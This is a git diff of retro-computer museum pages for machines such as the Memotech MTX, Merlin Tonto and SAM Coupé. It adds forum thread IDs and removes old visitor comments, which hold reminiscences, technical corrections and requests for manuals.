b/content/museum/medusa-t-40.md @@ -52,15 +52,7 @@ params: value: TOS 3.06 (slightly modified) - label: POWER SUPPLY value: Standard PC case power supply unit - comments: - - author: Frank michelson (deez nutz) - date: Wednesday 20th May 2015 - text: Frank you are the worst sports analyst ever and should quit. - - author: Frank Isola (New York) - date: Tuesday 19th May 2015 - text: |- - I hate old computers, wwatch me at 5:00 on around the horn! I am an awful sports analyst but I hate old computers! Bye yoo Nerdz!\ - I''m Franklin Isola and I approve this message. + forum_thread: 714 oc_id: 731 source: url: https://web.archive.org/web/20230324062010/http://www.old-computers.com/museum/computer.asp?c=731 diff --git a/content/museum/memotech-mtx-500-512.md b/content/museum/memotech-mtx-500-512.md index 876989bd..fa7751b3 100644 --- a/content/museum/memotech-mtx-500-512.md +++ b/content/museum/memotech-mtx-500-512.md @@ -74,6 +74,7 @@ params: - emulators - links - docs + forum_thread: 179 photos: - title: THE MTX-500 subtitle: '' @@ -287,117 +288,6 @@ params:  source : [MTX Series - the good old times](http://mtx.interactive.as/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Savior2022 (germany) - date: Sunday 14th August 2022 - text: I found mtx512 games https://www.mediafire.com/file/2tz3ngv9zlhpkgt/MEMOTECH_MTX512_Ultimate_Game_pack_v1.0\_$2528BKL$2529.zip/file https://archive.org/search.php?query$memotech - - author: Gary (Ireland) - date: Thursday 7th October 2021 - text: Would a 500 psu work on the 512 - - author: A T (Scotland) - date: Sunday 12th September 2021 - text: '@Gary - I can''''t find any ready-to-buy replacement PSUs, but it''''s possible to build one yourself - see http://www.mtxworld.dk/memorum/viewtopic.php?f$9$t$76' - - author: Gary (Ireland) - date: Tuesday 13rd July 2021 - text: Does anyone know where I can source a replacement PSU? - - author: Cedric (Belgium) - date: Friday 11th June 2021 - text: The computer is mentioned in the latest novel of Ernest Cline called Ready Player Two. - - author: Neil MacPherson (UK) - date: Wednesday 3rd March 2021 - text: The Memotech MTX computer is well known as the computer that featured in the film Weird Science - - author: Tim Locke (New Brunswick, Canada) - date: Saturday 29th November 2014 - text: 'Service manual: http://primrosebank.net/computers/mtx/documents/Memotech_MTX500-512$20Service$20Manual.pdf' - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Roger (ulster fry) - date: Wednesday 20th February 2013 - text: |- - https://www.youtube.com/watch?v$zsjTpFR0oYQ - - not allowed to post this here! - - author: Andy Key (England) - date: Sunday 19th August 2012 - text: |- - A Service Manual exists.\ - One was sold a while back on eBay.\ - I too would like a copy, or a scan of it. - - {{{ Andy - - author: Gabriele (Italy) - date: Friday 3rd August 2012 - text: |- - You can find a lot of manuals in good quality pdf format by browsing this site: http://www.mtxinfo.de/\ - Whole site is in English, except for a couple of pages in German. - - author: John Baxter (BRITAIN) - date: Saturday 21st July 2012 - text: Does anyone know where I can download MTX documents and manuals, ideally in PDF ?? Things like User Manual, Service Manual(if it exists) and anything else that might be useful? - - author: Andy Key (UK) - date: Sunday 3rd June 2012 - text: |- - http://www.nyangau.org/rememotech/rememotech.\ - is a REimplementation of a MEMOTECH compatible computer, in VHDL, targeting a Cyclone II FPGA, on an Altera DE1 board. - - {{{ Andy - - author: Lez Anderson (England ) - date: Tuesday 10th January 2012 - text: |- - One Chip Memotech MTX !! A project to put the Memotech MTX512 onto a single chip. - - Still in the feasibility/Early stages, anyone wanting to help contact lezanderson@gmail.com - - Visit the one chip Memotech mtx512 site for details on the ....... - - author: Andy Key (England) - date: Tuesday 20th September 2011 - text: |- - These links might be interesting :- - - http://www.nyangau.org/memotech/memotech.htm - my Memotech page\ - http://www.nyangau.org/memu/memu.htm - Memotech Emulator\ - http://www.nyangau.org/mfloppy/mfloppy.htm - Memotech Floppy tool - - http://www.anvil-ict.co.uk/memotech/index.htm - Memotech site\ - http://www.mtxworld.dk/main.php - MTX World\ - http://mtxinfo.de/ - lots of good Memotech info - - The MTX Operators Manual does include circuit schematic for the MTX.\ - Not seen the same for FDX or SDX.\ - Not aware of anyone putting it on a single chip. - - No, you didn''t have to warm it up. :-) - - {{{ Andy - - author: Lez (England) - date: Sunday 26th June 2011 - text: 'Does anyone have any technical information or documents about the MTX series ?? I''''m looking for things like : circuit schematics, service manuals , info on the FDX, SDX unit ... basically anything relating to the MTX.. if so please email me ..' - - author: Mark - date: Wednesday 22nd June 2011 - text: |- - Hi... - - Has anyone put the MTX500/512 onto a single chip ... it''s been done for the Coco 3, Apple 2, and MSX I believe ?? - - author: Lez Anderson (England) - date: Wednesday 22nd June 2011 - text: Doe anyone know if the MTX has been put into VHDL or Verilog ?? It''s been done for the MSX2 and it has similar hardware ....It would make a great project..! - - author: Jakub Offierski (Delft, Netherlands.) - date: Monday 14th August 2006 - text: According to IMDB (Internet Movie DataBase, imdb.com) this computer, the 512 model, was featured in the 1985 movie "Weird Science". - - author: Phil Harper-Smith (Wiltshire) - date: Wednesday 14th April 2004 - text: I had one of these and it was great - I used it for my college course on microprocessors - very useful for all the assembly language stuff we did. Built like a tank. One of the electronics mags finally published a circuit for the dual serial board which was based on the Z80 DART if I remember correctly. - - author: Richard Hedderly (London, UK) - date: Sunday 29th September 2002 - text: |- - I used to work in a computer store circa 86-87 and the owners nephew used to work for Memotech and we saw one of the originals when he bought it in. - - It was competing at that time with the Commodore 64 so was facing an brick wall. - - One of the things I remember about it was that you had to warm it up before you could use it. 10 mins if my memory serves me correctly... related: - /museum/memotech-rs-128 oc_id: 168 diff --git a/content/museum/memotech-rs-128.md b/content/museum/memotech-rs-128.md index 672f7b34..5cab296c 100644 --- a/content/museum/memotech-rs-128.md +++ b/content/museum/memotech-rs-128.md @@ -63,6 +63,7 @@ params: - hardware - links - docs + forum_thread: 212 photos: - title: INSIDE THE RS-128 subtitle: '' @@ -112,28 +113,6 @@ params:  source : [MTX Series - the good old times](http://mtx.interactive.as/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Claus (Sweden) - date: Friday 13rd July 2012 - text: Hmmm, is said same Sound and VDP as MSX, i dont think so. Memotech use a Texas Soundprocessor, wich is equal to Colecovision and Sega SC-1000 console. But not compatible with MSX, sound data can by the way be converted, but is not compatible. I know this since i have been converted a few MSX games to Memotech, read more at www.mtxworld.dk - - author: Thomas - date: Friday 24th June 2011 - text: Does anyone know which CHIP was used to give the 80 column display on the RS128... ?? If so please leave a comment - - author: Lez (England) - date: Tuesday 21st June 2011 - text: The RS128 had a second video processor giving a color 80 column display. It also had a ROM board for adding Roms and RS232 ports. But basically it was an MTX512. related: - /museum/memotech-mtx-500-512 oc_id: 202 diff --git a/content/museum/mentor-sport-tg-20.md b/content/museum/mentor-sport-tg-20.md index 1d7f6bf9..1e9fc906 100644 --- a/content/museum/mentor-sport-tg-20.md +++ b/content/museum/mentor-sport-tg-20.md @@ -52,6 +52,7 @@ params: - photos - emulators - links + forum_thread: 1072 photos: - title: SPORT TG 20 subtitle: '' diff --git a/content/museum/mera-elzab-meritum.md b/content/museum/mera-elzab-meritum.md index d3bba272..a2d32c12 100644 --- a/content/museum/mera-elzab-meritum.md +++ b/content/museum/mera-elzab-meritum.md @@ -74,6 +74,7 @@ params: - photos - hardware - links + forum_thread: 491 photos: - title: MERITUM MODEL 2 subtitle: '' @@ -146,34 +147,6 @@ params: - title: Dziennik Mi³oœnika Polskich Komputerów url: http://www.elwro.zafriko.pl/kat/mikrokomputery/mera_elzab_meritum_i text: This polish museum has some information (in polish) and some pictures - comments: - - author: MCbx (Poland) - date: Tuesday 26th July 2016 - text: |- - About these countries, a small correction:\ - 1\. Floppy disk drives were Hungarian (very high fault rate) and later German. Theoretically they could be Bulgarian, as Bulgaria manufactured FDDs and disks these times. Eastern German 5.25" FDDs were mostly quite nicely working clones of Japanese Teacs.\ - 2\. Keyboard and case is Polish, as well as some chips made by Unitra CEMI and rarely TOMI. Keyboard is reed switch-based.\ - 3\. Many Meritum units have K565RU\* memory chips, Soviet, not Bulgarian (has Bulgaria made memory chips these times?). 64K units may have Japanese/western chips as it was easier to get through bureaucracy and buy expensive western parts than to buy dense RAM from SU and slash yourself performing quality control again (Soviet export-grade chips had terrible quality control). Generally in silicon, chips in computers from Eastern block are East German (Z80-land VLSI chips), Polish (TTLs, rarely SRAM) or Soviet (all kinds), in some cases western/Japanese. Rarely Romanian (CMOS). - - author: Grzegorz (Poland) - date: Thursday 6th September 2012 - text: '"A Meritum III was released and shown on Poznan fair 1986, but apparently wasn''''t produced." - it''''s not true. I have one. Elwro probably produced about 100 computers. I suppose still exist about 5-6 pcs.' - - author: Marek - date: Saturday 24th September 2011 - text: |- - I have this computer with improved ROMs - experimental serial interface based network management software is added and memory is expanded to 64K. Not always Bulgarian - sometimes there were Soviet. I heard about a few ROMs in this computer:\ - First one, asks "MEMORY SIZE", it''s the first one.\ - Next one, asks "OBSZAR PAO", it''s the most common one.\ - My version asks "MEMORY SIZE" and displays "OETO-POL.SL.NET-BASIC" or something like that - it''s an experimental networking system, maybe one shown in technological exhibition in Bulgaria (?Plovdiv?). Network extensions are started by NET command.\ - Another version tries to boot from floppy and if it''s impossible jumps to monitor. I don''t know anything about it except I have a photo of it running (from internet auction). - - author: Thomsonicus (Poland) - date: Sunday 27th August 2006 - text: This piece of hi-tek computing wasn't really popular/widely spread in Poland. Even in 1983 it was deemed out-of-date and the main decision to produce it was probably because of the ease of constructing it in the communist Poland at that date :( Remember all commie countries were blocked from western technologies those days. Nevertheless certain laws were bent and we had western Z80 with a changed name etc. - - author: szymex_software (Polska) - date: Tuesday 1st February 2005 - text: o kurcze... nie mają polskiej stony kodowej ;) - - author: szymex_software (Polska) - date: Tuesday 1st February 2005 - text: Kto by pomyślał - całkiem niezły komputerek, ale chyba zawalili sprawę że się u nas zabradzo nie przyjoł. oc_id: 497 source: url: https://web.archive.org/web/20230201125733/http://www.old-computers.com/museum/computer.asp?c=497 diff --git a/content/museum/merlin-m4000.md b/content/museum/merlin-m4000.md index 30148756..ee381668 100644 --- a/content/museum/merlin-m4000.md +++ b/content/museum/merlin-m4000.md @@ -62,77 +62,12 @@ params: value: Unknown tabs: - photos + forum_thread: 1225 photos: - title: M4000 subtitle: '' text: Thanks to Riaz Sobrany for this picture image: /media/museum/photos/bt_merlin_m4000_1.jpg - comments: - - author: John Desmond (Surrey/UK) - date: Thursday 2nd October 2014 - text: The M4000 range was used across several major contracts. These included OASIS for the Royal Navy, RITA - ticketing for theatres, DSS case paper location with Siemens and Wenger printers. Plus some specials such as the post room in the basement of Buckingham Palace and in the Houses of Parliament. I used to work for BT Business Systems, Walpole House in Ealing and covered the country as a field engineer. The M4000 had additional memory cards located below the main motherboard, an Arcnet network card and additional support for two more screens and keyboards via another adapter card. The M4000 was effectively the Logica Kennet and the Kennet versions were used in GP Surgeries and NHS sites by a third party company called Vamp Health, now known as In Practice Systems Ltd. As stated elsewhere, The Forestry Commission used quite a few of these around its UK sites. They were also sold to other government departments with MerlinWord and Ricoh 1600 daisywheel printers for word processing - in big typing pools. - - author: Andy Dingley (South Wales) - date: Tuesday 7th February 2012 - text: |- - I worked for BT AT (Applied Technology - an early consultancy and external systems developer, in the now common style) in Newcastle from ''85 to ''87, mostly on a large project for the D(H)SS. We only had a handful of PCs and rather more of the M4000s running CPM/86. We regarded these as far better than the IBMs! The amber monitors were clearer than IBM''s blurry greens and the build quality of the hardware was rock-solid (Logica did know how to build a good boat anchor). Best of all though was the multiprocessing capability of CPM/86 and the four virtual screens with rapid hot-key switching between them. - - Software was much the same as MS/DOS, at least where things had been ported. Most of my work was Pascal programming, using Prospero Pascal (that I''d used since Z80 CP/M) and Wordstar as an editor. - - The biggest project I did with the M4000 was part of the broader DHSS project. This was a terminal concentrator / forms interpreter running on ITL minis (a dinosaur even then). To test this and emulate an office full of busy typists we (well, I and Dr Russell Mulcahy) built a network of 20 M4000s, networked with ArcNET. Each M4000 had smart serial cards (on-board processor) installed so that it could run 4 serial connections simultaneously. A typist-emulator script could be run across 80 instances at once, using CPM/86''s multi-tasking so that the script interpreter only needed to be a simple single-thread program. The whole system was so successful for testing that the DHSS bought a complete duplicate for their own tests. - - author: Charles Durrant (UK) - date: Friday 25th July 2008 - text: |- - BT Merlin M4000 (Logiva VTS-2400 "Kennet") - - I worked for Logica VTS in Swindon between 1984 and 1986 (when VTS was closed) in the software development division. At the time I joined the main product was the VTS-2200 (internally called "Whirlwind") dedicated Word Processing system, based on the Intel 8086 running custom software (Firmware, OS and WP application) and with 1 or 2 40 track 5.25" floppy disks and monochrome text only displays. These were also re-badged by ICL (as the DRS-8801), British Telecom (as the M3300) and Nexos. They could be networked on a Cambridge Ring and were also used internally as development workstations running an Intel development system (8086 assembler and PL/M-86). - - The next generation machine developed by VTS was the VTS-2400 or "Kennet". The Kennet was also based on the Intel 8086, but was designed as a more general purpose office computer in the style of an IBM PC system unit. It could have various combinations of storage devices, 1 or 2 80 track 5.25" floppy disks, 1 or 2 internal 10Mb Rodime Winchesters, an external 76Mb Fujitsu Winchester and/or an external 150Mb Tandberg QIC tape unit. They were reasonably modular, able to take additional cards for networking (Cambridge Ring or ArcNet, IBM Sync. Comms cards), additional memory, multi-port serial cards etc. It also had bitmapped graphics (initially monochrome, and later, a colour prototype). - - In addition to the Word Processing software, MS-DOS and CCP/M-86 (later Concurrent DOS) were ported to the machine, allowing general office applications to run on the system, and I seem to remember a project that ported GEM (Digital Research's graphical windowed system - an early competitor to Microsoft Windows). - - However, the Kennet was NOT IBM PC compatible, and so could not run the major business applications around at the time as these were tied to the IBM PC hardware. There were limited sales into specific projects, and the product was badged by BT (as the Merlin M4000). After VTS closed, British Telecom funded an independent team of software developers (Cognosys Limited) to port the Wordprocessing Software to their next generation of IBM PC compatible machines (based on Zenith hardware). This was to be called "Merlinword 5000", but I'm not at all sure it ever saw the light of day as a commercial product. Cognosys also developed a module for a document exchange system called CrossPak to allow migration of documents in the VTS WP system format to other PC compatible systems. - - Ray Chester and Chris Timson are correct in mentioning the DSS use of Kennets. I was the consultant who worked with the DSS development team in Reading for 3 months (having been in the Logica VTS team that ported MS-DOS and CDOS to the Kennet). And am slightly embarrassed to admit that I also wrote the "Asteroids" game mentioned (initially as a demonstration of the Kennet's bitmapped graphics). Users of the VTS Wordprocessing system may also recall another (text based) game called "Space", which was popular among the Logica developers (and probably also escaped into the wild). - - author: Bill Perry (UK) - date: Thursday 11th October 2007 - text: |- - I worked on these out of an MEC (Merlin Engineering Centre) in Avonmouth Bristol. As stated they were based on the Logica Kennet and followed on from BT Merlin purchasing (via ICL) an earlier Logica computer sold as the M3300 which was just a word processor. - - M4000s were sold as a part of large contracts. e.g. As stated before they were sold into the Navy as part of the OASIS II project, a stores application used on shore (HMS Raleigh had some for training) and ships. It was interesting seeing on ships where these got installed, into VERY tight spaces; - - To the DSS for 3 jobs, (i) casepaper location as Chris says, with a Siemens bubble jet printer, (ii) as a system to calculate benefits with a large and heavy MannismanTally double head dot matrix printer and I can't remember the 3rd! They were installed all across the country in all DSS offices and I think were the first computers to enter these offices in general use. We had a problem with interference on the HDs and we had to have a retrofit program to fit aluminium shields to the drives perhaps to stop the problems mentioned before about static. I remember as I organised the teams across the country to do this; - - As the theatre booking system as stated. It was installed into the Bath Theatre Royal (I helped install and maintain it). The RITA software was written either by or in conjunction with the Royal Shakespeare Company. The software was advanced for its time; - - And the Forestry Commission had some in their offices across the country too. - - John's right in his description of the insides. I had a tool until recently that was used to pull out the memory boards. An extending yellow hook, as the boards slid on runners under the mother board, the first plugged into a daughter board behind the front of the case and then into each other towards the back. - - The asteroids game was very good as a means of testing the system ;-) - - Merlinword was based on the program that came in the M3300. It was an advance on Wordstar that was around at the time as it showed on screen underlining and characters as enboldened. In Wordstar you just had the ^S or ^U characters either side of the words showing these features. - - John, I never saw these running MSDOS or Wordstar or Lotus, are you sure that wasn't on the M5000 range? - - The colour of the case in your picture, was the colour of the Kennet case and looks like an early model where the badges were changed. - - I'm unaware that it was ever used in System X exchanges, though in BT anything was possible! - - It was sold into some BT offices, BT HQ had some but it was mainly produced for external sales. - - It was replaced by the M5000 range of rebadged Zenith PC computers running MS/DOS. - - author: Chris Timson (UK) - date: Saturday 18th August 2007 - text: |- - My introduction to IT as well. I escaped from the DSS local office front line, was taught Cobol and worked on the software that went back into the local offices. Casepaper Location was my particular baby, tracking files as they moved from one room to another. The M4000 was at the heart of an extraordinary RS232 based network of HP handhelds with barcode readers. Amazing it ever worked but it did, and quite well too. - - The photo makes it look grey, but in fact it was a sort of neat beige colour. - - Oh, that Asteroids game was written by the guy who led the XIOS (DR jargon for Bios) team at Logica. We had him for some consultancy and he gave us a copy of the game, and we in turn made sure it got out to the local offices. - - author: John (UK) - date: Friday 25th May 2007 - text: The M4000 was indeed a rebadged Logica VTS Kennet. It could run either the dedicated MerlinWord word processor program, MSDOS, CP/M-86 or Concurrent DOS (CDOS). It wasn't IBM PC compatible, but applications such as Wordstar or Lotus-123 were available. The screen was usually amber monochrome, but some colour screens were sold. The 'top-end' system would be a CDOS machine with one floppy (800k) plus a hard disk (10MB) plus the GEM graphics environment, and an Arcnet LAN card. This allowed DR-Net to be run to allow files or printers to be shared. I think the maximum RAM was 768KB, made up of 256KB on board plus two additional 256KB RAM cards. I have a brochure somewhere, I'll add some more details once I find it. The M4000 once appeared on Brookside (Channel 4 TV soap), it was also sold to places like the Stratford Theatre to run their booking system. It also had a neat telephone directory / database program which was used by a few switchboard operators. oc_id: 1258 source: url: https://web.archive.org/web/20230318004515/http://www.old-computers.com/museum/computer.asp?c=1258 diff --git a/content/museum/merlin-tonto.md b/content/museum/merlin-tonto.md index 04a7329f..e2d681dc 100644 --- a/content/museum/merlin-tonto.md +++ b/content/museum/merlin-tonto.md @@ -67,6 +67,7 @@ params: tabs: - photos - hardware + forum_thread: 852 photos: - title: SYSTEM subtitle: '' @@ -147,111 +148,6 @@ params: subtitle: '' text: This add-on was firmly fixed to the TONTO case so that only the key owner could use the computer. image: /media/museum/hardware/merlin_tonto_telelock_1.jpg - comments: - - author: '''''CABBIK'''' (England)' - date: Saturday 13rd January 2018 - text: |- - Some of the less well-known things about it :- - - 1\) It had a dual micro drive unit as standard which, \*shock horror... gasps of disbelief\* actually worked and worked well, especially with european manufactured microdrive cartridges that were sold for the Tonto. - - 2\) It was supplied with either a monochrome display (as was the Tonto i used/inherited as a personal home computer - obtained legitamately via BT) which was fairly compact, or a larg-ish colour monitor. Notably, the main PSU was embedded in the monitor and the Tonto has no on/off switch. - - 3\) It was prone, if misused, to PSU failures - this usually happened when people frequently shut down (at the power point) the computer. The computer itself, being a combination telecommunications device/x.25 protocol networked message terminal and application orientated desktop computer, was designed to be left switched on 24/7 (only powered off for mainenance work purposes or relocation) and the monitor could be put to sleep (i.e. the front panel button on the display simple shut off the LT side of the display electronics). - - 4\) The commonly sold matching printer was a usually a Tonto rebranded OKI Microline 192/193 - effectively the OKI Microline equivalents to Epson FX80/100 printers. These were often serial and parallel interface equiped, as as far as printers go, were pretty fine reliable items - the 193 i had outlasted the Tonto by many years and made Seikosha GP series unit look like cheap and nasty junk. - - 5\) Probably the least well known accessory (which was an aftermarket item) was a combination dual floppy drive unit (double-density 3.5 inch items which wrote to a format which was PC readable/writable, and with a couple of bytes rewritten, data could be exchanged via 3.5inch disc with Atari ST computers). This dual drive unit also had a full Centronics interface and a full breakout RS232 interface. I was one of rare beasts who had that mystical almost mythical addon. - - Aside from it''s X25 phoneline based message exchange function, it was fully equipped with a good terminal/comms feature built-in the resident firmware, and made a very good BBS access device (which i took a lot of advantage of during cheap rates and weekend rates). - - As for the two line cords for the phone and data connections - it would operate just fine using one, since you could $ which line was used for data operations and the phone used line one cord (but you could exploit the second line for additional voice telephony use - assuming you bothered to actually RTFM, which most users i know of never actually bothered to do). - - Whilst i never owned any ''ROM Packs'', i had various pieces of official and unofficial software for it on microdrive, some ported from the QL and were ports originating as ICL OPD hacks. One of which included a disassemble which i used frequently to snoop into the complete undocumented firmware. - - But the rarest (because everyone seemed to mislay them) common part was the formatter microdrive - yeah, you had to use a microdrive cartridge to format a blank cart. Needless to say, since i had about twenty sets of four-pack blank sets, i made various dupes of the software carts and formatter cart and had them stashed for safe keeping and NEVER used an original as a working copy. - - All in all, a very pleasant machine to use for it''s comms/telephony/application workstation designed use - it''s usefulness far outweighed it''s flaws, at least in the eyes of this extreme user (i did 90$ of my documentation using it, and used it to prepare plain ascii files for Ventura and Postscript with it, since it was far more comfortable for extended use than the machine i was supposed to use for work). - - It probably looks and feels to anyone today like a mutant crossbreed of a games console and a toy kiddy typewriter with a display, but it (and in OPD guise) was definately a bit of an unappreciated landmark in the history of the transition of comms from electro-mechanical TTY (such as teleprinters) towards the more ''domestic'' non-Telex use of electronic tty comms. I fondly remember it for that, as much as i fondly remember the Puma and Cheetah teleprinters as landmarks (in Telex terms) the transitional era of computer-technology based teleprinters. - - Now if that doesn''t reveal my aged former 80s computer kiddie status..... :) - - author: Erik N (Australia) - date: Sunday 11th September 2011 - text: |- - I remember these - saw one in a telecom museum some years ago.\ - It was a rebadged Tonto obviously for Australian Telecom and had two phone plugs - one for a voice line and one for data AFAIK - if you got a crossed line it would spit out garbage on screen or $ the connection (randomly between the two)\ - you needed two phone lines to use one - so you had to be pretty rich. - - author: Pete (UK) - date: Monday 15th December 2008 - text: |- - Hello all, - - I have recently acquired a BT promotional video for the Tonto, dated 29-4-1985.\ - This gives the prices for the Tonto at is launch. - - £1245 Basic Mono Machine\ - £1375 Basic Mono Machine with Xchange\ - £1675 Colour Machine\ - £1805 Colour Machine with Xchange\ - These are all Excluding VAT. - - So these are the final prices.\ - £1462 Basic Mono Machine\ - £1615 Basic Mono Machine with Xchange\ - £1968 Colour Machine\ - £2120 Colour Machine with Xchange - - Then you had an optional printer and many optional ROM packs.\ - This was quite an expensive piece of desk accessory in its day. - - Regards,\ - Pete - - author: Peter Hurst (UK) - date: Friday 21st March 2008 - text: |- - I worked in BT Datacomms support in the late 80's and early 90's and we all had Tonto's until BT started rebadging Zenith PC's. Although they were quite compact and pretty for the time (!) they sufferred from odd software glitches. - - An ex-colleague Bob Calvert (hi Bob!) was a veritable expert on these machines an maintains it was one of the earliest tru multitasking cheap computers and he wrote several programs for it. The rompacks were great, Quill I found OK but the tapes were the weak point. - - The Tonto bettered the QL in having a built in V21/V23 modem so you could use it to connect to Prestel and other online services. I can't remember the phone application well but I think it was actually quite good when it worked but again suffered glitches due (?) to multitasking. - - author: Rob Kay (UK) - date: Thursday 20th December 2007 - text: 'I set up a network of five One Per Desks in 1985 to link the different operating premises of Salford NHS Community Learning Disability services. I loved the fact that you didnt need to be an expert to set it up: it was simple, just plug and play. The machines were designed for my admin staff, and whilst being typists they were baffled by the word processing capabilities of OPD, the (male) community nurses and social workers couldn''t keep their fingers off them so I became the first victim of cyber-slacking! Personally I loved this lightweight machine and mastered all the software functions including mailmerge, and still cant figure out why keyboards don''t have integral phones - its so simple and convenient. I was able to save half a secretary/PA by typing my own memos. A pretty good return on my investment!' - - author: bill Perry (UK) - date: Thursday 11th October 2007 - text: These were sold through BT local area sales as well as into bigger projects through BT Field Services. The bigger projects included Customs & Excise at ports and the Home Office Prison Services (HOPS) project. The tape drives were unreliable! - - author: QUANTA web master (UK) - date: Wednesday 10th October 2007 - text: |- - I have compiled some useful information on the OPD / Tonto, which can be found on the QUANTA web site. - - QUANTA supports QL and related systems, and I\ - am responsible for maintaining the societies web site. - - If anyone would like to donate their OPD / Tonto to QUANTA, or would like to support, documentation\ - or advice, please get in touch. - - We can offer a small sum for surplus OPD / Tonto\ - hardware and accessories, which we donate to\ - the Red Cross. - - We are trying to establish an OPD / Tonto support network, so that enthusiasts can swap software,\ - trade hardware and keep this machine alive. - - We are in the process of scanning in manuals and documentation for the OPD, establishing an OPD software library and list of frequently asked questions (FAQs). - - FAQs will include : where to obtain OPD software,\ - tips for repairing damaged monitors, suggestions for troubleshooting hardware faults and advice on exchanging files with a PC or Sinclair QL. - - author: Tony Woodrow (UK) - date: Monday 18th September 2006 - text: This computer was introduced to the majority of Bingo Halls in the mid 80's to introduce "The National Bingo Game", where prizes were up to £50,000, I salvaged two from from two clubs that closed down in South Wales. Alas The monitors no longer work, and I'm looking to getting them working again for "old times sake!" - - author: dermot hollingsworth (england) - date: Wednesday 28th December 2005 - text: does anyone want to buy a BT MERLIN TONTO in the original case - - author: Jaume (Spain) - date: Saturday 27th December 2003 - text: this computer don´t sell very well in spain because the word "tonto" in spanish means "idiot" oc_id: 871 source: url: https://web.archive.org/web/20230608083856/http://www.old-computers.com/museum/computer.asp?c=871 diff --git a/content/museum/metrologie-bfm-186.md b/content/museum/metrologie-bfm-186.md index 38e5cb7d..c7928a38 100644 --- a/content/museum/metrologie-bfm-186.md +++ b/content/museum/metrologie-bfm-186.md @@ -48,6 +48,7 @@ params: value: Two 5.25" disk units (1.25 MB each, 77 tracks) - label: OS value: MS DOS or CP/M 86 + forum_thread: 85 oc_id: 70 source: url: https://web.archive.org/web/20230608162545/http://www.old-computers.com/museum/computer.asp?c=70 diff --git a/content/museum/mgt-miles-gordon-technology-sam-coupe.md b/content/museum/mgt-miles-gordon-technology-sam-coupe.md index b9939697..04dc6599 100644 --- a/content/museum/mgt-miles-gordon-technology-sam-coupe.md +++ b/content/museum/mgt-miles-gordon-technology-sam-coupe.md @@ -71,6 +71,7 @@ params: - software - emulators - links + forum_thread: 539 photos: - title: SAM COUPÉ ENHANCED USING QUAZAR HARDWARE subtitle: '' @@ -284,102 +285,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Archive dedicated to the Sam Coupé - comments: - - author: Quazar (Scotland) - date: Wednesday 3rd June 2020 - text: |- - Some corrections for you to update the Technical Information box: - - END OF PRODUCTION 1992\ - -$ 1999. The SAM was commercially available up until the start of 1999. It did not stop when SAMCo went under in mid-1992. - - SPEED 6MHz with screen off, 4.5 MHz with screen on\ - can be slowed down to emulate ZX Spectrum\ - -$ The Z80 CPU always ran at 6MHz, but /WAIT delays were added when the ASIC accessed the memory to draw the display, giving an ''effective'' speed of \~4.8MHz. Extra delays were added when using the ZX Spectrum graphics mode to make it closer to the speed of the spectrum, so in MODE 1 graphics the effective speed is \~3.8MHz. - - CO-PROCESSOR Motorola MC 1377P Video Chip,\ - -$ The 1377P is not a video co-processor, all it does is convert RGB signals to Composite Video. - - SOUND sample rate 15.6 kHz\ - -$ The SAA1099P doesn''t have a sample rate. The sample rate depends entirely on the timing on the software controlling it when it''s being used as low resolution DACs. - - BUILT IN MEDIA one or two 3.5'''' ultraslim Citizen Double Density Drives (800 kb)\ - -$ Citizen disk drives were used from 1990-1992 until they were discontinued. NEC also produced slimline disk drives which were used for about a year afterwards until they also became discontinued. After that, standard PC style disk drives were used until the end of SAM''s production in 1999. - - author: Quazar (Scotland) - date: Wednesday 30th January 2019 - text: |- - Still a lot of development going for the SAM Coupe, and I am also please to announce my next hardware project - ''Pandemonium''. - - It started with three tweets on my twitter account on 1st January 2019... - - (1of3) 2019. It''s now 26 years since I bought my first SAM Coupe and 24 years since I started Quazar and all my frantic developing for the system. It''s a shame the SAM didn''t thrive, but I often imagine what I could do if I ever got my hands on a handful of SAM''s ASIC chips. - - (2of3) The ASIC is the unique custom chip at the heart of the SAM Coupe. What could I do if I had some? A new SAM drastically enhanced with my extra peripherals and a faster Z80, plus an eZ80 co-processor? That would surely be some advanced micro! It would be utter pandemonium! - - (3of3) I just need those SAM Coupe ASIC chips... Oh wait... I have over 200 ?? Okay... Hmm... Pandemonium... Thats a funky codename for a new SAM! So, I happily announce ''Pandemonium''! I''ve a long way to go but it''s underway! Stay tuned... - - While initially sounding a bit cryptic, I did just announce my next hardware project that will follow on from Symbiote! - - Codenamed ''Pandemonium'' for the time being, this will be a new SAM! - - Yes, you did read that right, a new SAM! - - What makes this possible? Well, as covered in my new year tweets, I''ve got my hands on several hundred of the ASIC chips - that''s the customised VLSI logic array designed by Bruce Gordon, that provides all the main system logic of the SAM Coupe - graphics generation, memory paging, interrupts, MIDI, keyboard reading etc, etc. - - Why the name ''Pandemonium''? It''s expanding on ''Mayhem'' the name I used for my prototype SAM accelerator. While interest was very low over a decade ago it never fully progressed into a released unit, however on the basis that I''ll be able to make a limited quantity of spanking new SAMs it makes sense to add in whatever I can incorporate, so that does include making it faster if possible. I''ve already updated my accelerator design, so couple that with most of my other hardware peripherals that I''ve designed and released over the years, such as the Trinity Ethernet Interface and the forthcoming Symbiote (an eZ80 based co-processor and audio interface I''m also working on) it''ll be a rather fantastic computer! - - author: Roger Jowett (ulster) - date: Sunday 3rd February 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help\ - trying to convert 8bit video for sam coupe\ - this is still not mode 3 interlaced with hmpr bit 5$6 CLUT alterations per scan line HELP we only need a DMA...\ - masterdos/basic atom lite support HELP - - author: roger jowett (ulster) - date: Saturday 26th May 2012 - text: |- - http://www.youtube.com/watch?v$Qc4Xoz75yHI - - apparently i cut and pasted the same link twice oh dear - - author: Roger Jowett (ulster) - date: Saturday 26th May 2012 - text: |- - http://www.youtube.com/watch?v$Qc4Xoz75yHI - - video removed by youtube thanks help yourselves to the promotion money 